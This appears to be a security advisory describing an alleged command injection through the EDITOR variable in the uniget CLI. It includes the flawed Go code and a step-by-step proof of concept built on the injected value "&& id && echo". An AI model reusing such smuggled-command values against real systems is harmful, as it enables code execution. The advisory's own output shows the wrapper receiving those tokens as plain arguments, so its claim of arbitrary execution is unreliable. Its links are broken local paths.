uniget CLI has an EDITOR Command Injection

NVD Description

### Summary The uniget CLI has a command injection vulnerability in [hooks.go](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) line 199 where [strings.Split(editor, " ")](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) naively parses the EDITOR environment variable without respecting shell syntax. An attacker can set EDITOR="/path/to/wrapper && id && echo" which gets split into separate arguments, allowing the wrapper script to execute arbitrary commands like id. This was successfully exploited to execute uid=1000(w4nn4d13), confirming code execution is possible. The vulnerability affects hook editing and breaks configurations with modern editors like VSCode. **Vulnerable Code:** ``` editorWithArgs := strings.Split(editor, " ") ``` **Location Context:** ``` editor := os.Getenv("UNIGET_EDITOR") if len(editor) == 0 { editor = os.Getenv("EDITOR") } editorWithArgs := strings.Split(editor, " ") // ← VULNERABLE command := exec.Command(editorWithArgs[0], editorWithArgs[1:]...) ``` **Issue:** Naive space-splitting allows injection. EDITOR="script && id && echo" splits into ["script", "&&", "id", "&&", "echo"] enabling command execution. ## **Step to Reproduce** **Step 1: **Create malicious editor wrapper ``` mkdir -p /tmp/poc-editor cat > /tmp/poc-editor/editor_wrapper.sh << 'EOF' #!/bin/bash echo "[EDITOR] Received args: $@" id EOF chmod +x /tmp/poc-editor/editor_wrapper.sh ``` **Step 2: **Create test hook ``` mkdir -p ~/.config/uniget/hooks/pre-install cat > ~/.config/uniget/hooks/pre-install/test.sh << 'EOF' #!/bin/bash echo "Test hook" EOF chmod 700 ~/.config/uniget/hooks/pre-install/test.sh ``` **Step 3:** Set injection payload ``` export EDITOR="/tmp/poc-editor/editor_wrapper.sh && id && echo" ``` **Step 4:** Run vulnerable code ``` cd /home/w4nn4d13/Downloads/cli go build -o uniget ./cmd/uniget ./uniget hooks edit --type=pre-install test.sh ``` **Step 5:** Observe output ``` [EDITOR] Received args: && id && echo /path/to/hook uid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),65534(nfsnobody) ``` <img width="1017" height="449" alt="image" src="https://github.com/user-attachments/assets/9c72ea0c-fa08-46cd-a9cb-098942a488ce" />

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